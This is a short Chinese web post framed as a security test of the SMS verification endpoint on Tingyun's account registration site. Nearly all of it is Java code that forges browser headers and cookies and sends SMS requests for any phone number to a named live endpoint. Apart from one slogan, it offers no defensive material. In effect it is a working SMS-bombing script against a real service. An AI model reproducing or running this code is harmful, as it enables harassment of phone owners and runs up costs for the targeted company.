安全测试:听云短信接口安全测试,你的短信接口到底有多危险,可能瞬间损失过万,短信接口防盗刷测试
发布时间:2021-04-10 点击数:3883
安全问题不容忽视,不要亡羊补牢!
//配置请求头
public Object setHeads(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> inheads, LinkedHashMap<String, String> outheads, Hashtable<String, String> input) {
inheads.put("Accept", "application/json, text/plain, */*");
inheads.put("Cache-Control", "no-cache");
inheads.put("Connection", "keep-alive");
inheads.put("Host", "account.tingyun.com");
inheads.put("Pragma", "no-cache");
inheads.put("Referer", "https://account.tingyun.com/reg/register?userFrom=tingyun");
inheads.put("Sec-Fetch-Mode", "cors");
inheads.put("Sec-Fetch-Site", "same-origin");
inheads.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36");
inheads.put("X-Tingyun-Id", "V1uX-VqWBw4;r=624124609");
getCookie(cookieStore, httpclient, "https://account.tingyun.com/reg/register?userFrom=tingyun", inheads, outheads);
String cookieStr = GetCookieHead.CookieHashToString(outheads);
if (cookieStr != null) {
inheads.put("Cookie", cookieStr);
}
return inheads;
}
//配置请求参数
public Object setParams(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> inheads, LinkedHashMap<String, String> outheads, Hashtable<String, String> input, String phone) {
List<BasicNameValuePair> paramList = new ArrayList<>();
paramList.add(new BasicNameValuePair("ctime", new SimpleDateFormat("'\"'yyyy-MM-dd'T'HH:mm:ss.SSS'Z\"'").format(System.currentTimeMillis())));
paramList.add(new BasicNameValuePair("mobile", phone));
paramList.add(new BasicNameValuePair("type", "registerNew"));
paramList.add(new BasicNameValuePair("webc", "regweb"));
return paramList;
}
//配置请求
public RetEntity reg(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> input, String phone) {
Hashtable<String, String> inheads = new Hashtable<>();
LinkedHashMap<String, String> outheads = new LinkedHashMap<>();
httpclient = createSSLClientDefault();
RetEntity retEntity = this.userClick(httpclient, cookieStore, "get", "https://account.tingyun.com/reg/ldaf_send_mobile_new283455", inheads, outheads, input, phone);
closeHttpClient(httpclient);
return retEntity;
}